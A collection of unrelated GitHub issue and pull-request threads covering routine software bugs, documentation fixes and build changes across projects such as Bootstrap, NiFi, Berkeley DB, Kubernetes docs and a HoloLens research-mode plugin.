[X] Is your initial contribution a single, squashed commit? Additional commits in response to PR reviewer feedback should be made on this branch and pushed to allow change tracking. Do not squash or use --force when pushing to allow for clean monitoring of changes.

For code changes:

[ ] Have you ensured that the full suite of tests is executed via mvn -Pcontrib-check clean install at the root nifi folder?
[ ] Have you written or updated unit tests to verify your changes?
[ ] Have you verified that the full build is successful on JDK 8?
[ ] Have you verified that the full build is successful on JDK 11?
[ ] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?
[ ] If applicable, have you updated the LICENSE file, including the main LICENSE file under nifi-assembly?
[ ] If applicable, have you updated the NOTICE file, including the main NOTICE file found under nifi-assembly?
[ ] If adding new Properties, have you added .displayName in addition to .name (programmatic access) for each of the new properties?

For documentation related changes:

[ ] Have you ensured that format looks appropriate for the output in which it is rendered?

Note:
Please ensure that once the PR is submitted, you check GitHub Actions CI for build issues and submit an update to your PR as soon as possible.

Tested and confirmed that a specific country locale will fall back to the general language. +1 will merge.


Keep leading and traling trivias on identifiers to prevent some syntax errors

Pull request for #35

Done :) When do you think a new nuget package can be released ?

Can you fix the failing unit test? I can release a new nuget after I merge this under a beta version


Tooltip Arrow on top of Tooltip Box if adding popperConfig modifiers

Prerequisites

[X] I have searched for duplicate or closed issues
[X] I have validated any HTML to avoid common problems
[X] I have read the contributing guidelines

Describe the issue
I've noticed that as soon as I add
modifiers: [
],
to my popperConfig, the tooltip arrow is suddenly positioned on top of the tooltip box. I've also tested this in chrome and with v5.3 Alpha but the display remains the same.
Reduced test cases
<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Test</title>
    <link<EMAIL_ADDRESS>rel="stylesheet" integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">

<button type="button" class="btn btn-secondary" data-bs-toggle="tooltip" data-placement="top" title="Tooltip on top">
    Tooltip on top
</button>

What operating system(s) are you seeing the problem on?
Windows
What browser(s) are you seeing the problem on?
Firefox
What version of Bootstrap are you using?
v5.2.3

Thanks for opening an issue @tz7.
I haven't executed the example but just by looking at it, I can see a data-placement="top". It should be data-bs-placement="top".  Does it change anything if you make this modification?

Just tried a few things in https://codepen.io/julien-deramond/pen/dygevyE.
First (////////// TEST 1 ///////////), without popperConfig:
$('[data-bs-toggle="tooltip"]').tooltip({
   placement: 'right',
   offset: [0, 100],
   html: true
})

Tooltip is well displayed on the right with the offset in italics and the arrow is correctly displayed.
With offset: [60, 100], the offset is right but the arrow is not vertically centered.
Other test (////////// TEST 2 ///////////) based on the default config used in Bootstrap:
$('[data-bs-toggle="tooltip"
]').tooltip({
        popperConfig: {
    "placement": "right",
    "modifiers": [
      {
        "name": "flip",
        "options": {
          "fallbackPlacements": [
            "top",
            "right",
            "bottom",
            "left"
          ]
        }
      },
      {
        "name": "offset",
        "options": {
          "offset": [
            0,
            60
          ]
        }
      },
      {
        "name": "preventOverflow",
        "options": {
          "boundary": "clippingParents"
        }
      },
      {
        "name": "arrow",
        "options": {
          "element": ".tooltip-arrow"
        }
      },
      {
        "name": "preSetPlacement",
        "enabled": true,
        "phase": "beforeMain"
      }
    ]
  }
})

Tooltip is well displayed on the right with the offset (not in italic because no html: true equivalent) and the arrow is correctly displayed.
With offset: [60, 60], the offset is right but the arrow is not vertically centered.
Final test (////////// TEST 3 ///////////) is based on the previous one but uses your values for placement and offset.
Does it help?

Test 2 is working perfectly and the only difference I can spot is that the modifiers are wrapped in quotation marks. I guess I missed it when going through on how to do custom modifiers.
Thanks a lot for the help!


Updating the L-band pickle files

Updating the L-band rfi mask on github, update is for an rfi mask created on 2024-05-24.
mask[:1]=True # bottom
mask[81:85]=True #intermittent
mask[92:126]=True #constant
mask[129:133]=True #more/less constant
mask[293:298]=True #more/less constant
mask[339:536]=True #constant
mask[673:677]=True # HI line
mask[740:746]=True #more/less constant
mask[791:902]=True #constant
mask[910:924]=True #intermittent RFI between these channels
mask[971:]=True # upper
Current rfi mask (red) compared to the old one (blue):

I just want to make sure we are not unflagging the 1380MHz  line . It is often a strong intermittent source

@spassmoor , would that be between channels 540 and 674?

mask[740:746]=True #more/less constant
1474.6  MHz to  , 1479.6 MHz   is New . do you know what it is ?
The channels for RFI at 1378-> 1382 would be channels 624 to  630 .

@spassmoor , would the intermittent rfi in the 1380MHz region be seen only during the day or is it seen at night as well because this mask was created from an observation that ran at night.
I am not sure about what  caused the rfi in the 1474.6 MHz to 1479.6 MHz region, will have to check and get back to you on that one.
I attached the percentage of time data was flagged during this observation.


Regen services

PR summary
This PR contains a regen of the Resource Controller service and an upgrade of the java core version to 9.4.1.
PR Checklist
Please make sure that your PR fulfills the following requirements:

[ ] The commit message follows the Angular Commit Message Guidelines.
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] New tests
[ ] Build/CI related changes
[ ] Documentation content changes
[ ] Other (please describe)

What is the current behavior?

What is the new behavior?

Does this PR introduce a breaking change?

[ ] Yes
[ ] No

Other information

:tada: This PR is included in version 0.13.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


wind sensor MA10660

the wind sensor (MA10660) is detected but the information stay at 0 ( Gust 0,0 m/s Time span 352 s Wind direction 0,0 ° Wind speed 0,0 m/s).
https://www.lacrossetechnology.fr/P-25-A1-MA10660.html

@rodtrip2 thank you for feedback. Wind sensor is in my shopping list, but I've no appropriate place for it now.
Could you please enable logging for both custom integration and the library. It could be done by adding next lines
logger:
  logs:
    mobilealerts: debug
    custom_components.mobile_alerts: debug

to your configuration.yaml file.
After HA restarting, lines like this must appear in the log:
2022-09-27 13:16:27.068 DEBUG (MainThread) [mobilealerts.gateway] Update package E063...00, checksum 0x00
2022-09-27 13:16:27.069 DEBUG (MainThread) [mobilealerts.sensor] Sensor updated: mobilealerts.sensor.Sensor(Xxxxx), id = 0B000000 .....

Please collect few such lines and post it here. ID of the wind sensor begins with 0B. It's better to hide somehow IDs of your sensors.

I've reviewed the code. Have found there at least two errors related to wind sensor. I've fixed errors and updated the project, please check new version.
Update package from the log is still necessary, first of all to add it to tests.


Added pre task and scale_jump_host variable

Added pre task in playbook creation function and scale_jump_host variable if it is true it will run ssh validation task with bastion host and if false it will run without bastion host(task is in playbook creation function). Also two more extra variables.
Request you to have look and let me know if it will work or any change it required. Thank you.

Closing the PR as DCO was not passed and will create the new one


Docs update for 0.7

Closes #990
TODO

[x] Add changelog entry for #1039

Contributor Checklist:

[x] I have added or updated my entry in the creators.json file
[N/A] I have added a changelog entry for my contribution
[x] I have added/updated documentation for all user-facing changes
[N/A] I have added/updated test cases
[N/A] I have included the rebuilt production build of the client (only if
changes were made to the GUI)

Reviewer Checklist:

[ ] /azp run libertem.libertem-data passed

I think this should also close #928 right?

/azp run libertem.libertem-data passed

/azp run libertem.libertem-data

/azp run libertem.libertem-data

Thx, merged!


The search result parameter _count=0 results in a FhirPersistenceException

When _count=0 is specified on a search query string, a FhirPersistenceException is returned.
To reproduce, try this:
https://us-south.wh-fhir.dev.cloud.ibm.com/wh-fhir-dev/api/v4/Patient?_count=0
This is the returned json:
{
    "resourceType": "OperationOutcome",
    "id": "ac-1e-cd-99-eba6558c-c9a6-435e-a4ae-b900a4ba2169",
    "issue": [
        {
            "severity": "fatal",
            "code": "exception",
            "details": {
                "text": "FHIRPersistenceException: Unexpected error while performing a search operation."
            }
        }
    ]
}

As stated in the FHIR spec, the expected behavior is this:
"if _count has the value 0, this shall be treated the same as _summary=count: the server returns a bundle that reports the total number of resources that match in Bundle.total, but with no entries, and no prev/next/last links."  See: https://www.hl7.org/fhir/search.html#count

We fixed a bug in the search when there is no populated data.  In this case, did you have data in the Patient table?
Also, can you state the version you are using to test?

I tested this against https://us-south.wh-fhir.dev.cloud.ibm.com/wh-fhir-dev/api/v4 . So the version is whatever R4 version that server is running.  When I change _count=0 to _summary_count, in the response Bundle the total is 3282. So there are Patients in the db.

Great - Thanks - I think it's 4.0.1


Modified the python compiler for jax

Codecov Report
Attention: 18 lines in your changes are missing coverage. Please review.

Comparison is base (c347b76) 61.39% compared to head (5dff476) 61.38%.
Report is 1 commits behind head on computgraph.

Files
Patch %
Lines

src/backend/compiler_python.jl
0.00%
18 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@               Coverage Diff               @@
##           computgraph     #167      +/-   ##
===============================================
- Coverage        61.39%   61.38%   -0.02%
===============================================
  Files               66       66
  Lines             5010     5011       +1
===============================================
  Hits              3076     3076
- Misses            1934     1935       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Expected value calculation according to probability theory.

There is talk of adding violin plots and other methods of viewing more in-depth distributions of your patterns but I believe in addition to that it could be very efficient and effective to calculate the expected value of the probability set and show that.
If you're not familiar with the definition of expected value, it pretty much is the value that if you were to repeat this situation infinitely many times with the same conditions the average would be that value. It's very convenient for analysis of things like gambling games and it would be perfect for this situation; an expected value higher than your buy price will mean that if this scenario would be repeated infinitely you would make a profit. It is the ultimate compact number telling you wether to buy or sell.
I don't have too much knowledge about how you're currently programming this so I don't know how easy it is to implement this but if you're already able to plot violin or box plots that would indicate that you have enough data to calculate an expected value pretty easily.
The wikipedia article on this is pretty good if you want more info.

This is what I've been thinking about, too. I want to know what my expected value is if I do things optimally based off the current probabilities. If that expected value is higher, I should wait, otherwise I should sell. I've been playing around with this in my own project and I think I have something that is accurate. When I have some free time I can work on getting it into a branch here.

This would be the kicker -- in general, I would like the site to show EV[MAX[turnip_prices]], meaning what is the expected value of the maximum that turnip prices will be at any point after the current moment.
Then this value would answer the question 'should I sell now or later'. If EV[MAX[turnip_prices]] > current_turnip_price, then wait. Otherwise, sell.


Auto render API docs to HTML

What's needed?
Having auto-rendered HTML docs for the microgrid API would be nice to have, similar to the SDK docs.
Proposed solution
The docs can be auto-rendered using plugins like https://github.com/pseudomuto/protoc-gen-doc.
The plugin mentioned above can be invoked like the following to render index.html with the inline protobuf documentation:
protoc --doc_out=. --doc_opt=html,index.html proto/*/*/*/*.proto -I proto -I submodules/api-common-protos

Note that this plugin is already being used in the CI.
Use cases
The primary use-case for this would be to help provide the API documentation in a more readily consumable manner. ATM people need to read inline docs to see how the API behaves.
Alternatives and workarounds
No response
Additional context
No response

API docs are rendered and published now at https://frequenz-floss.github.io/frequenz-api-microgrid/.


Add warning about spaces in the Xcode path.

Adds a sentence to the ReadMe warning about spaces in the Xcode path. See rdar://67659538 .

@swift-ci please smoke test

I feel impolite asking this, but can you provide some context or detail that explains why this is necessary? I regularly name my installed Xcode versions with spaces in their names.

Sounds like we should tweak to wording to make it clear we’re flagging an existing bug (can we get a Jira for it too rather than just a radar?). Do we know yet if the bug is in the script vs in some dependency that makes it harder to fix?

I feel impolite asking this, but can you provide some context or detail that explains why this is necessary? I regularly name my installed Xcode versions with spaces in their names.

I do, too. But when I tried to build a compiler over the weekend, it failed until I removed the spaces. Have you tried it lately? Could one of us have a different cmake or something?

@swift-ci please smoke test

Have you tried it lately?

No, honestly I haven't for a month or so, so I'm sorry to cause extra work over pedantry, but it's not helpful to non-Apple staff to have radar/feedback links in these PRs.
It's obviously a bit of a struggle for you folk with Swift being Apple's baby, and Swift being an open source project 😄
Thanks for creating a public issue, and for updating the changes - I appreciate it.

Have you tried it lately?

No, honestly I haven't for a month or so, so I'm sorry to cause extra work over pedantry, but it's not helpful to non-Apple staff to have radar/feedback links in these PRs.
It's obviously a bit of a struggle for you folk with Swift being Apple's baby, and Swift being an open source project 😄
Thanks for creating a public issue, and for updating the changes - I appreciate it.

No need to apologize. My oversight. Happy coding!

@tonyarnold PS: If you were to try building the compiler with the latest version and a space in the Xcode path, you could give us a helpful datapoint. TIA.

@davidungar yeah, I'm seeing the same behaviour here, so dataPoint += 1 - I've added some details to the public bug report.

@swift-ci please smoke test

Thanks, @brentdax and @airspeedswift . Will merge asap. Your suggestions were big improvements.


Standby seems to break communication between VSCode and Flix

I can reproduce this

See #62 / #79

See #62 / #79


DEV_MODE instructions for groth16-verifier example in "examples/groth16-verifier/README.md"

User's Objective
Successfully run the groth16-verifier example in DEV_MODE.
User's Obstacle
The current DEV_MODE instructions for the groth16-verifier example link to old link: https://dev.risczero.com/api/zkvm/dev-mode, which appears to be broken. This prevents me from completing the setup process.
While I found a potentially working link at probably working link: https://dev.risczero.com/api/generating-proofs/dev-mode, it's unclear if this is the intended documentation.
User's Request
I would appreciate it if the broken link in the DEV_MODE instructions for the groth16-verifier example could be updated to the correct documentation (probably working link: https://dev.risczero.com/api/generating-proofs/dev-mode) if that's the intended resource.
If the probably working link: https://dev.risczero.com/api/generating-proofs/dev-mode is not the correct documentation, please update the instructions to point to the accurate resource.

Thanks for reporting! This seems to have been fixed.


GetSummary should include Transitions from parent states

Transitions from parent states can be retrieved by following the SuperStates.


Binary is larger than expected

My full node_modules and application code is ~2MB. The yode runtime itself ~22MB. However, yode dist results in a binary that's ~45MB in size, suspiciously almost double what I would expect. Using 7z and LZMA2 compression, it compresses down to ~6MB as well which is suspicious.
Unfortunately, DEFLATE doesn't do so hot here giving me a compressed size of ~16MB, which is a bit of an immediate problem for me given I'm serving the package compressed with Zlib and DEFLATE. I might consider an LZMA approach in the future (since I just figured out there are native Javascript implementations of LZMA, holy cow) but still somewhat inconvenient.

Did you add out and yode to .gitignore? You can see if your distribution includes unnecessary files by checking the archive generated by npm pack.

That was it, thanks. Closing...


No platform error message on Microsoft platforms?

I noticed that Microsoft platforms return empty string from HCHttpCallResponseGetPlatformNetworkErrorMessage . I suppose platErrCode can be inspected somehow, but it's value is engine specific and will be different between XDK and GDK/WIN32.  What is recommended way to get human readable error regardless of the platform?

Ya, its just for logging/debugging in case the platform sends a debug string.  On those platforms, there's no string so its blank.  If you want to convert HRESULTs to string for logging, then I would grab a function like this and put it somewhere in your codebase:
https://github.com/microsoft/DXUT/blob/main/Core/dxerr.cpp#L68

This implies that I need to be platform aware in my code when using libhttpclient :(

Understood -- just leave this issue open and it'll be on our backlog.  Not sure when we'll get to it, but I could see it being useful for folks

Is this library support Hololens2 ？


Header with social media icons

Should not be sticky

I can Try this.

@SauravMukherjee44 I can complete this issue within 1 day .Can I work on this issue :) ?

Hey! If I can help, I would like to contribute to this issue too ;) Can you assign me as well? @SauravMukherjee44 @Pallavi679

Can you please assign this issue in issue to me?

@Ritika1800 There is some issue from your side!


db: fix build on Darwin and clang 16

Description of changes
This PR updates Berkley DB’s configure scripts to build with clang 16. These changes were done to db5 then back and forward-ported to db4 and db6 as necessary.

It adds missing implicit int to main in configure tests.
It adds missing headers that cause tests  to fix a false negative results with clang 16.
It corrects the call to signal and the signal handler’s definition in the mmap growth test to fix a false negative result with clang 16.

In addition, it replaces the mutex implementation with os_unfair_lock on Darwin. _spin_lock_try and _spin_unlock are private APIs and deprecated. The recommended replacement according to the deprecation message is os_unfair_lock. This also changes the db4 mutex implementation from pthreads to os_unfair_lock (even though db4 supported the other implementation, it wasn’t being used).
Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[x] x86_64-darwin
[x] aarch64-darwin

[x] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

I ran nix-build --arg pkgs 'import ./. {}' ./lib/tests/release.nix on a clone of this PR on a Linux box, but it passed. Let’s see if it was a transient error that caused it to fail.

@ofborg eval lib tests

@ofborg eval

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/2390

Would it be possible to remove subversion as well as its dependencies (cyrus_sasl, db, openldap, serf) from bootstrap, if no other packages depend on it?


Changing The Kubernetes Package Repository page is broken

"Switching to another Kubernetes package repository" and particularly the one for CentOS/REHL shows commands for Debian based  system, not REHL based rpm

I'm not seeing this. Can you point out where there are deb commands for RHEL?

Excuse me it is for old versions:
https://v1-27.docs.kubernetes.io/docs/tasks/administer-cluster/kubeadm/change-package-repository/#switching-to-another-kubernetes-package-repository
https://v1-26.docs.kubernetes.io/docs/tasks/administer-cluster/kubeadm/change-package-repository/#switching-to-another-kubernetes-package-repository
https://v1-25.docs.kubernetes.io/docs/tasks/administer-cluster/kubeadm/change-package-repository/#switching-to-another-kubernetes-package-repository

I'm also not able to see this @george2asenov

/retitle Broken tab layout on "Changing The Kubernetes Package Repository" page in older doc versions
/kind bug

The problem stems from the existence of two tab layouts on this page having the same name "k8s_install_versions". This issue has been resolved in the main branch. To address this issue in old docs versions, we'll need to backport and apply the fix to each corresponding old branch (release-1.25, release-1.26, release-1.27, release-1.28).

I'd support a backport. One of the things we do want people to learn to do with older Kubernetes versions is: to upgrade them!
/triage accepted
/priority backlog

I can try to help with this.
/assign

I think the backporting is done which resolves this issue

If it is ok we can close this issue

The fixes have been back-ported to the older release branches. Closing this as completed.
/close


[5.3] Fix analysis invalidation in ClosureLifetimeFixup

This is a cherry-pick of #31295
Accumulate modifiedCFG when calling correctStackNesting.
Found this bug with -sil-verify-force-analysis=true flag

@swift-ci please test


Wanted Help : Programatically, How do we select/deselect rows of DataTable ?

How do we have a control on Data Table to select/deselect rows ?
I tried something below but not luck,
Can someone please help me how we can achieve this behavior ?
Thanks in advance !

Hi @subhak77! 👋 Here's an example of how to do it in a Codesandbox: https://codesandbox.io/s/pkwzmj6yv7
Hope that helps! If not, feel free to comment and we can re-open the issue 😄


mgmt, pom, use javadoc.excludePackageNames

Description
Please add an informative description that covers that changes made by the pull request and link all relevant issues.
If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
All SDK Contribution checklist:

[ ] The pull request does not introduce [breaking changes]
[ ] CHANGELOG is updated for new features, bug fixes or other significant changes.
[ ] I have read the contribution guidelines.

General Guidelines and Best Practices

[ ] Title of the pull request is clear and informative.
[ ] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[ ] Pull request includes test coverage for the included changes.

/azp run java - resourcemanager

/azp run java - resourcemanager

/azp run java - resourcemanager

/azp run java - resourcemanager

/azp run java - resourcemanager

/check-enforcer override


have a problem with getenv()

problem: line 9, in  BASE_URL = getenv('WHISPER_BASE_URL')
TypeError: 'str' object is not collable
Code:
1)from os import getenv
2)from pathlib import Path
3)
4)import requests
5)from dotenv import load_dotenv
6)
7)load_dotenv()
8)
9)BASE_URL = getenv('WHISPER_BASE_URL')

Did you put quotations around your url?
I should look like this:

I didnt put the json files only the .py and my urls wouldnt come up at all, thanks for letting me know


Update Jitsi

Jitsi 2.6 is the new stable build line: https://jitsi.org/Main/Download
jitsi-2.6-latest link does not exist: https://download.jitsi.org/jitsi/macosx/

Thanks. Merged as d3568c7.


Customer-reported issue: Is not detecting updated/resized max size

There appears to be a bug in Prometheus Server which causes the kubelet_volume_stats_capacity_bytes to not be updated properly in Prometheus after a resize.  Note: May need to go file a bug against the metrics-server or Prometheus.
After further investigation, it appears the prometheus metrics of kube_persistentvolume_capacity_bytes which is tied to the "PV" and not the "PVC" is fully updated, and we could (in theory) instead look there for the updated value  but I believe this to be a bug which should be fixed in Prometheus.

UPDATE: There was an issue with their Kubernetes cluster causing this, wasn't a Prometheus or issue in this codebase.

@AndrewFarley Would you be so kind please to explain what was the exact issue in k8s cluster? Have the same issue after PVC resizing and  restart of kubelet didnt help

@virtualb0x Yeah, so I figured out this customer was using an older version of the AWS EBS CSI Controller and it hit an edge case where it sent (or thought it sent) AWS the command to resize the disk upwards.  However, either AWS never received this command, or it was unable to fulfill this request properly, leaving it in a bunk state.  It was weird, the graph I linked to showed that it did fulfill the request and resize, but it was an error (unable to find which/where this is from) in some underlying AWS stuff in AWS Container Roadmap where it was mis-reporting partially that it had resized the disk but it hadn't actually.
To fix this problem for this customer I did a few things...

Upgraded their AWS CSI driver to the latest version
Upgraded EKS to the latest version supported (EKS 1.21 iirc)
Stopped the pod, manually resized it in AWS Console, then re-started the pod

That seemed to solve things.  Sorry I didn't clarify that.  Hope this helps you, and anyone else who might run into this!  If you weren't using AWS as your provider, I think a similar set of steps would still help.  That being some combination of upgrading EKS, upgrading your storage driver, stopping the pod using the volume, resizing it manually, and then starting the pod backup.


DataSpreadsheets: Dragdrop with custom header shows weird callback

On our code we get this crash

But I replicated this on carbon products code and I don't see this crash, instead I see this

So I am not sure why on our code we see it crash, possibly due to how it gets imported as a package.
To resolve this, I think I need to check the type for the header and if it is an object maybe user can add specific key to where the header is at so something like
<span headerLocated={true}>COLUMN_1 </span>
Then we take the inner text of this as the current column name. Any other alternatives, feel free to suggest but I will work on this change as drag/drop on our code currently crashes (but doesn't crash on storybook when replicated)

Making note: We are looking at next 2 weeks to wrap up the project we are working on, so the sooner the better on this item would be helpful for us, thanks! I'll be active on any PR comments I get. Thank you!
fyi @matthewgallo

Will validate once we get new release, thanks!

Verified this is fixed, thanks!


Invalid redeclaration of 'Debug'

i have added -D DEBUG but i get this error Invalid redeclaration of 'Debug'
when i open the error there stays 'Debug' previously declared here

i fixed it

but there


Details about parameters

Hey
I'd like to train the network. can you please give more parameters for the train.py file
Can you please give more details about the train.txt and val.txt
`#parser.add_argument("--list_dir", type=str, required=True, help="path to dir containing training & validation left_image_list_file s, should be list_dir/train.txt(val.txt)")
#parser.add_argument("--tensorboard_dir", type=str, required=True, help="path to tensorboard dir")
`

There is a list.txt example file in the git content + val - comes for validation


Cannot enter with my account

After clicking the login button, the login's page loads. But nothing happens when i click the Proceed's button.
And the Onlyoffice's plugin keeps in loading mode.
Thanks you all for the help!

Duplicate of https://github.com/ONLYOFFICE/plugin-mendeley/issues/33


Add AuTest for HTTP CONNECT

A basic test of CONNECT method, but this covers an issue we faced. /cc @randall

Cherry-picked to v9.2.x


Error while getting point cloud

Hello, thank you for sharing this project. I currently have a problem. After I compiled the library, I tried to get the point cloud data in Unity. At first, I tried to output the depth center, it always returned 0, but no error occurred. Then I use the same method to output the number of point clouds. At this time, when running in hololens2, it will prompt: NullReferenceException: Object reference not set to an instance of an object.
Excuse me, is there any way to solve my problem.
My code as follow:
`using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using System;
using System.Runtime.InteropServices;
using TMPro;
using UnityEngine.UI;
#if ENABLE_WINMD_SUPPORT
using HL2UnityPlugin;
#endif
public class SensorTest : MonoBehaviour
{
#if ENABLE_WINMD_SUPPORT
HL2ResearchMode researchMode = null;
#endif
// [SerializeField]
//GameObject previewPlane = null;
//[SerializeField]
public TextMeshPro text;
private Material mediaMaterial = null;
private Texture2D mediaTexture = null;
private byte[] frameData = null;
private bool isDepthLoop = false;
// Start is called before the first frame update
void Start()
{

#if UNITY_WSA && !UNITY_EDITOR
researchMode = new HL2UnityPlugin.HL2ResearchMode(); // System.Exception: Exception of type 'System.Exception' was thrown.
researchMode.InitializeDepthSensor();
text.text = "init DepthSensor ok ";
#endif
}
// Update is called once per frame
void Update()
{

    if (!isDepthLoop) StartDepthSensingLoopEvent();

#if UNITY_WSA && !UNITY_EDITOR
var pointCloud = researchMode.GetPointCloudBuffer();
text.text = " points count "+ (pointCloud.Length / 3).ToString();
text.text += "myTest " + researchMode.GetCenterDepth().ToString();
#endif
}
public void StartDepthSensingLoopEvent()
{
#if ENABLE_WINMD_SUPPORT
IntPtr WorldOriginPtr = UnityEngine.XR.WSA.WorldManager.GetNativeISpatialCoordinateSystemPtr();
var unityWorldOrigin = System.Runtime.InteropServices.Marshal.GetObjectForIUnknown(WorldOriginPtr) as Windows.Perception.Spatial.SpatialCoordinateSystem;
researchMode.SetReferenceCoordinateSystem(unityWorldOrigin);
researchMode.StartDepthSensorLoop();
text.text = "start Loop ";
#endif
isDepthLoop = true;
}
}
`
Any help would be greatly appreciated.

I found that I can get the point cloud data after restarting Hololens, but during the acquisition process, Hololens console still shows NullReferenceException: Object reference not set to an instance of an object. But the program runs fine. What is the problem?

Yes, it is an issue that you need to restart HoloLens if the HoloLens enter sleeping mode before you stop the sensor stream properly and I still haven't look into how to solve it elegantly.
As for the NullReferenceException, can you locate the line that triggers this exception? Is it in update function that keeps showing up or does it just happens at the very first one or few iterations?

Sorry for the late reply. I found that this kind of exception is occasionally reported when the point cloud data stream is continuously obtained. This kind of anomaly can only be seen in hololens and is displayed in red. But this kind of anomaly does not affect the point cloud acquisition process, but it is a little uncomfortable.I have not been able to pinpoint exactly where the error occurred,  I will continue to debug to find the place where the exception occurred.

I uploaded a Unity sample that includes visualizing point cloud. Could you try whether that sample has similar behavior on your device?

The error when accessing the depth sensor buffer after waking up from sleep is a known system problem and is fixed when the OS is updated to 20346.1403. arm64fre.fe_release_svc_sydney.210518-1040 (or later).
At the moment, the specified OS build is in the Beta channel (Insider preview)
After the update, your plugin works like a charm, thanks for the work!


Webpagetest Kubernetes server unable to communicate with Webpagetest Kubernetes Agents

Is this a request for help?:
Yes
Is this a BUG REPORT or FEATURE REQUEST? (choose one):
BUG REPORT

Version of Helm and Kubernetes:
K8 Client Version : Major:"1", Minor:"11
Which chart:
https://github.com/helm/charts/tree/master/incubator/webpagetest-server
https://github.com/helm/charts/tree/master/incubator/webpagetest-agent
What happened:

K8 Server setup done
K8 Agent setup done
From Sever can send requests to Public Agents
From Server cannot send requests to Private Agent. Getting error 'Get Work error'

What you expected to happen:
Able to send requests to local K8 agents also.
How to reproduce it (as minimally and precisely as possible):

Setup K8 Server and Agent under same cluster and configure both per the instructions.

Anything else we need to know:
Agent Pod Extra Args added as below:
  "containers": [
      {
        "name": "webpagetest-agent",
        "image": "webpagetest/agent:release",
        "env": [
          {
            "name": "SERVER_URL",
            "value": "http://<webpagetest pvt server url>/work/"
          },
          {
            "name": "LOCATION",
            "value": "Test"
          },
          {
            "name": "SHAPER",
            "value": "none"
          },
          {
            "name": "KEY",
            "value": "A.c307178556e8cba0d2b1a3db6602cc25"
          },
          {
            "name": "EXTRA_ARGS",
            "value": "-vvvv"
          },
          {
            "name": "EXTRA_ARGS",
            "value": "--xvfb"
          },
          {
            "name": "EXTRA_ARGS",
            "value": "--dockerized"
          },
          {
            "name": "EXTRA_ARGS",
            "value": "--log /tmp/wpt-agent.log"
          }

@timothyclarke FYI.

Was able to make it working. Closing this.


[Documentation] SDK Reference examples change from Labels.from to withID syntax

SDK References examples and text are using the deprecated  Labels.from method in required stream and output strategy.
Has to be rewritten with withID useage:

https://streampipes.apache.org/docs/docs/dev-guide-stream-requirements/
Imported from Jira STREAMPIPES-122. Original Jira may contain additional context.
Reported by: micklich.

outdated


RFP - TheSage English Dictionary and Thesaurus

Description: Free  English dictionary and thesaurus
Download: http://www.sequencepublishing.com/1/thesage.html

Have taken this up https://chocolatey.org/packages/tsedat/ just waiting on approval.

Package has been approved.


CSV Output Issue - Server Name Comma

Hello! Thanks for making this :D
Server Name includes a comma like "Trantor, CA" which splits that data in two when using column in bash.
Would you consider using "Trantor CA" instead?

The CSV output is properly quoted, please make sure you are using a CSV parser, and not blindly splitting on commas.  Otherwise, consider switching to --json and use jq to parse the data from bash.


Expose the enum that was validated against in errors from enum-based validations

Errors in an Ecto.Changeset have a key, a message and additional contextual information provided in the form of a keyword list.
Ecto.Changeset comes bundled with a number of validations, for example validate_inclusion/4.
The built-in validations tend to include additional contextual information - for example, validate_length/3 includes count and kind. So, for example, if the validation was configured to check that a field was "no more than 3" and it fails, then you will have [count: 3, validation: :length, kind: :max].
There are a number of validations that validate a field against an object that implements the Enumerable protocol - for example validate_inclusion/4 which checks that the field's value is included in a supplied enumerable.
However, these validations don't expose in the additional context the enumerable that the value was validated against.
This context can be valuable, for example if you want your errors to be fully machine-readable.
This exposes [enum: enum_that_the_field_was_validated_against]
on errors generated by validate_inclusion/4, validate_exclusion/4 and validate_subset/4.

:heart: :green_heart: :blue_heart: :yellow_heart: :purple_heart:


Why is HTMLhouse a professional website now?

Is there an alternative?

Sorry about that, minor issues while renewing the SSL certificate. This is fixed now.


White line along right edge of UI on high-DPI Windows

Here's what I see on a Surface Pro 3:

Note the 1px vertical white line along the right edge of the UI.  I don't think this happens on Retina Mac...
This might only happen when the window is an odd number of pixels wide (i.e. it's not evenly divisible into CSS pixels, which are 2:1 with screen px in this case)?  If Chromium/CEF can't handle being an odd width, we should just fill that area with the same dark gray we use for the native window border (and for the background behind the CEF widget).

@peterflynn do you see this with 1.1 or 1.2

It was 1.2, with the improved Windows high-DPI support.  The Surface Pro 3 is 2x, so it's possible it only repros at 200%, or 200%+...

Did you mean to close it?  I definitely do see the bug :-)

@peterflynn I believe this is related to  https://github.com/adobe/brackets/issues/10256. Good news is @fxb has suggested a fix in the appshell in the same thread. I was able to repro this white line on my win laptop and with his change the problem seem to have gone :smile: Could you take his change and check if the problem goes of with it. I will ask @fxb to put in a PR for this.


ytmdesktop: init at 2.0.5

Description of changes
Restores ytmdesktop, a desktop app for Youtube Music. It was previously removed due to missing source. This also expands support to all electron platforms, with the exception of darwin, since I don't have a way to test that and the installation process is slightly different (see my comment above meta.badPlatforms for more info).
